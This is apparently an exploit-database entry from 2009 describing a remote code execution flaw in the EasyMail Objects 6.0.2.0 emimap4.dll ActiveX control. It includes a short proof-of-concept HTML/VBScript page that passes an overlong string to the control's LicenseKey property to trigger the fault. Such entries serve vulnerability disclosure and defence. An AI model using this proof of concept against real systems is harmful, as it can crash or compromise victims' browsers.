EasyMail Objects 6.0.2.0 - emimap4.dll ActiveX Control Remote Code Execution

2009-09-15T00:00:00
ID EXPLOITPACK:6ABF781810BAB3121EE2E46DBE4B9DAF
Type exploitpack
Reporter Francis Provencher
Modified 2009-09-15T00:00:00

Description

EasyMail Objects 6.0.2.0 - emimap4.dll ActiveX Control Remote Code Execution

                                        
                                            source: https://www.securityfocus.com/bid/36409/info

EasyMail Objects ActiveX control is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application (typically Internet Explorer) using the ActiveX control. Failed exploit attempts likely result in denial-of-service conditions.

EasyMail Objects 6.0.2.0 is vulnerable; other versions may also be affected.
Spam Inspector 4.0.354 is vulnerable.

<HTML> <object classid='clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D' id='target'></object> <script language = 'vbscript'> Scrap = unescape("http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") code = Scrap target.LicenseKey = code </script> <html>